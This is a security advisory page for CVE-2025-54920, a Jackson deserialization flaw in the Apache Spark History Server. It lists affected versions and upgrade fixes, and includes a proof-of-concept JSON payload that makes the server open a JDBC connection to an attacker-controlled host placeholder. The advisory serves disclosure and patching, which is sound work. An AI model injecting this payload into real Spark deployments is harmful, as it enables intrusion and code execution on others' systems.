CVE-2025-54920: Apache Spark: Spark History Server Code Execution Vulnerability

Published Mar 13, 2026
·
Updated

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

{

"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }

3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Affected Software

11 affected components
Apache Spark<3.5.4, <4.0.0
Apache Spark<3.5.7
Apache Spark=4.0.0
Apache Spark=4.0.0-rc1
Apache Spark=4.0.0-rc2
Apache Spark=4.0.0-rc3
Apache Spark=4.0.0-rc4
Apache Spark=4.0.0-rc5
Apache Spark=4.0.0-rc6
Apache Spark=4.0.0-rc7
Apache Spark=4.0.1-rc1

Event History

Mar 14, 2026
CVE Published
via MITRE·09:01 AM
Data Sourced
via MITRE·09:01 AM
DescriptionWeakness
Mar 16, 2026
Data Sourced
via NVD·02:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54920?

CVE-2025-54920 is classified as a code execution vulnerability which poses significant risk to affected systems.

2

How do I fix CVE-2025-54920?

To mitigate CVE-2025-54920, upgrade Apache Spark to version 3.5.7 or 4.0.1 and above.

3

Which versions of Apache Spark are affected by CVE-2025-54920?

CVE-2025-54920 affects Apache Spark versions 3.5.4 and earlier, as well as 4.0.0.

4

What is the impact of CVE-2025-54920?

The impact of CVE-2025-54920 allows for potential remote code execution on affected Spark installations.

5

Who should be concerned about CVE-2025-54920?

Administrators and users of Apache Spark versions prior to 3.5.7 and 4.0.1 should be concerned about CVE-2025-54920.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203